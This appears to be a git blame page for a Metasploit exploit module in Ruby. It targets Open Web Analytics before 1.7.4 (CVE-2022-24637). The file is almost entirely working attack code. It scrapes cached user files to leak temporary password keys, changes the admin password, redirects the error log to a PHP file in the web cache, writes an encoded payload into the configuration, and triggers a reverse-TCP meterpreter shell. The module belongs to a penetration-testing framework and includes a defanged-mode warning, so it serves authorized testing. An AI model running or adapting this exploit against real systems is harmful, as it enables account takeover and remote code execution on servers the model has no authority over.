Files
metasploit-gs/modules/exploits/multi/http/open_web_analytics_rce.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

283 lines
8.9 KiB
Ruby
Raw Normal View History

2023-03-08 21:30:52 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
2023-03-08 21:30:52 +01:00
include Msf::Exploit::Remote::HttpClient
2023-03-14 22:10:44 +01:00
prepend Msf::Exploit::Remote::AutoCheck
2023-03-08 21:30:52 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Open Web Analytics 1.7.3 - Remote Code Execution (RCE)',
'Description' => %q{
Open Web Analytics (OWA) before 1.7.4 allows an unauthenticated remote attacker to obtain sensitive
user information, which can be used to gain admin privileges by leveraging cache hashes.
This occurs because files generated with '<?php (instead of the intended "<?php sequence) aren't handled
by the PHP interpreter.
},
'Author' => [
'Jacob Ebben', # ExploitDB Exploit Author
'Dennis Pfleger' # Msf Module
],
'References' => [
[ 'CVE', '2022-24637'],
2023-03-14 22:14:16 +01:00
[ 'EDB', '51026'],
2023-03-15 18:56:23 +01:00
[ 'URL', 'https://devel0pment.de/?p=2494' ]
2023-03-08 21:30:52 +01:00
],
'Licence' => MSF_LICENSE,
'Platform' => ['php'],
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
2023-03-08 21:30:52 +01:00
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2022-03-18',
2023-03-08 21:30:52 +01:00
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
ARTIFACTS_ON_DISK, # /owa-data/caches/{get_random_string(8)}.php
IOC_IN_LOGS, # Malicious GET/POST requests in the webservice logs
ACCOUNT_LOCKOUTS, # Account passwords will be changed in this module
2023-03-14 22:16:10 +01:00
CONFIG_CHANGES, # Will update config files to trigger the exploit
2023-03-08 21:30:52 +01:00
]
}
)
)
register_options([
OptString.new('Username', [ true, 'Target username', 'admin' ]),
OptString.new('Password', [ true, 'Target new password', 'pwned' ]),
])
register_advanced_options([
2023-03-16 18:07:28 +01:00
OptInt.new('SearchLimit', [ false, 'Upper limit of user ids to check for usable cache file', 100 ]),
OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])
2023-03-08 21:30:52 +01:00
])
end
def check
2023-03-09 17:06:07 +01:00
res = check_connection
2023-03-09 15:59:42 +01:00
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Safe if !res.body.include?('Open Web Analytics')
2023-03-08 21:30:52 +01:00
2023-03-09 15:59:42 +01:00
version = Rex::Version.new(res.body.scan(/version=([\d.]+)/).flatten.first)
return CheckCode::Detected("Open Web Analytics #{version} detected") unless version < Rex::Version.new('1.7.4')
CheckCode::Appears("Open Web Analytics #{version} is vulnerable")
2023-03-08 21:30:52 +01:00
end
def exploit
2023-03-16 18:07:28 +01:00
if datastore['DefangedMode']
warning = <<~EOF
Are you SURE you want to execute the exploit against the target system?
Running this exploit will change user passwords and config files of the
target system.
Disable the DefangedMode option if you have authorization to proceed.
EOF
fail_with(Failure::BadConfig, warning)
end
2023-03-08 21:30:52 +01:00
username = datastore['Username']
new_password = datastore['Password']
2023-03-09 17:06:07 +01:00
res = check_connection
2023-03-08 21:30:52 +01:00
if res
2023-03-11 14:25:04 +01:00
print_good("Connected to #{full_uri} successfully!")
2023-03-08 21:30:52 +01:00
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
'keep_cookies' => true,
'vars_post' => {
'owa_user_id' => username,
2023-03-09 17:03:48 +01:00
'owa_password' => rand_text_alphanumeric(8),
2023-03-08 21:30:52 +01:00
'owa_action' => 'base.login'
}
)
if res && res.code != 200
fail_with(Failure::UnexpectedReply, 'An error occurred during the login attempt!')
2023-03-08 21:30:52 +01:00
end
print_status("Attempting to find cache of '#{username}' user")
found = false
cache = nil
limit = datastore['SearchLimit']
if limit < 0
fail_with(Failure::BadConfig, 'SearchLimit must be set to a number > 0!')
end
limit.times do |key|
2023-03-08 21:30:52 +01:00
user_id = "user_id#{key}"
userid_hash = Digest::MD5.hexdigest(user_id)
filename = "#{userid_hash}.php"
cache_request = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{key}/owa_user/#{filename}")
)
2023-03-14 23:38:57 +01:00
if cache_request && cache_request.code == 404
2023-03-08 21:30:52 +01:00
next
end
cache_raw = cache_request.body
cache = get_cache_content(cache_raw)
cache_username = get_cache_username(cache)
if cache_username != username
print_status("The temporary password for a different user was found. \"#{cache_username}\": #{get_cache_temppass(cache)}")
2023-03-08 21:30:52 +01:00
next
else
found = true
break
end
end
if !found
fail_with(Failure::NotFound, "No cache found. Are you sure \"#{username}\" is a valid user?")
2023-03-08 21:30:52 +01:00
end
cache_temppass = get_cache_temppass(cache)
print_good("Found temporary password for user '#{username}': #{cache_temppass}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.usersPasswordEntry'),
'keep_cookies' => true,
'vars_post' => {
'owa_password' => new_password,
'owa_password2' => new_password,
'owa_k' => cache_temppass,
'owa_action' => 'base.usersChangePassword'
}
)
if res && res.code != 302
fail_with(Failure::UnexpectedReply, 'An error occurred when changing the user password!')
2023-03-08 21:30:52 +01:00
end
print_good("Changed the password of '#{username}' to '#{new_password}'")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm'),
'keep_cookies' => true,
'vars_post' => {
'owa_user_id' => username,
'owa_password' => new_password,
'owa_action' => 'base.login'
}
)
redirect = res['location']
res = send_request_cgi(
'method' => 'GET',
'uri' => URI(redirect).path
)
if res && res.code == 200
print_good("Logged in as #{username} user")
else
fail_with(Failure::UnexpectedReply, "An error occurred during the login attempt of user #{username}")
2023-03-08 21:30:52 +01:00
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral')
)
2023-03-09 17:03:48 +01:00
shell_filename = "#{rand_text_alphanumeric(8)}.php"
2023-03-09 16:32:28 +01:00
2023-03-08 21:30:52 +01:00
nonce = get_update_nonce(res)
log_location = 'owa-data/caches/' + shell_filename
register_file_for_cleanup(shell_filename)
2023-03-09 16:32:28 +01:00
2023-03-08 21:30:52 +01:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
'keep_cookies' => true,
'vars_post' => {
'owa_nonce' => nonce,
'owa_action' => 'base.optionsUpdate',
'owa_config[base.error_log_file]' => log_location,
'owa_config[base.error_log_level]' => 2
}
)
fail_with(Failure::Unreachable, 'An error occurred when attempting to update config!') unless res && res.code == 302
print_status('Creating log file')
2023-03-08 21:30:52 +01:00
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.optionsGeneral'),
'keep_cookies' => true,
'vars_post' => {
'owa_nonce' => nonce,
'owa_action' => 'base.optionsUpdate',
'owa_config[shell]' => payload.encoded + '?>'
2023-03-08 21:30:52 +01:00
}
)
fail_with(Failure::Unknown, 'An error occurred when attempting to update config!') unless res && res.code == 302
print_good('Wrote payload to file')
2023-03-08 21:30:52 +01:00
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/owa-data/caches/#{shell_filename}"),
timeout: 1
2023-03-08 21:30:52 +01:00
)
print_good('Triggering payload! Check your listener!')
end
2023-03-09 17:06:07 +01:00
def check_connection
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/index.php?owa_do=base.loginForm')
)
2023-03-08 21:30:52 +01:00
end
def get_cache_content(cache_raw)
2023-03-11 14:25:04 +01:00
regex_cache_base64 = /\*(\w*={0,2})/
2023-03-08 21:30:52 +01:00
regex_result = cache_raw.match(regex_cache_base64)
unless regex_result
fail_with(Failure::NotVulnerable, 'The serialized data can not be extracted from the cache file!')
2023-03-08 21:30:52 +01:00
end
2023-03-11 14:25:04 +01:00
Base64.decode64(regex_result[1]).force_encoding('ascii')
2023-03-08 21:30:52 +01:00
end
def get_cache_username(cache)
match = cache.match(/"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"(\w*)"/)
unless match
fail_with(Failure::NotVulnerable, 'The username can not be extracted from the cache file!')
end
2023-03-08 21:30:52 +01:00
match[1]
end
def get_cache_temppass(cache)
match = cache.match(/"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"(\w*)"/)
unless match
fail_with(Failure::NotVulnerable, 'The temp_passkey variable can not be extracted from the cache file!')
end
2023-03-08 21:30:52 +01:00
match[1]
end
def get_update_nonce(page)
update_nonce = page.body.match(/owa_nonce" value="(\w*)"/)[1]
unless update_nonce
fail_with(Failure::NotVulnerable, 'The update_nonce variable can not be extracted from the page body!')
end
2023-03-08 21:30:52 +01:00
update_nonce
end
end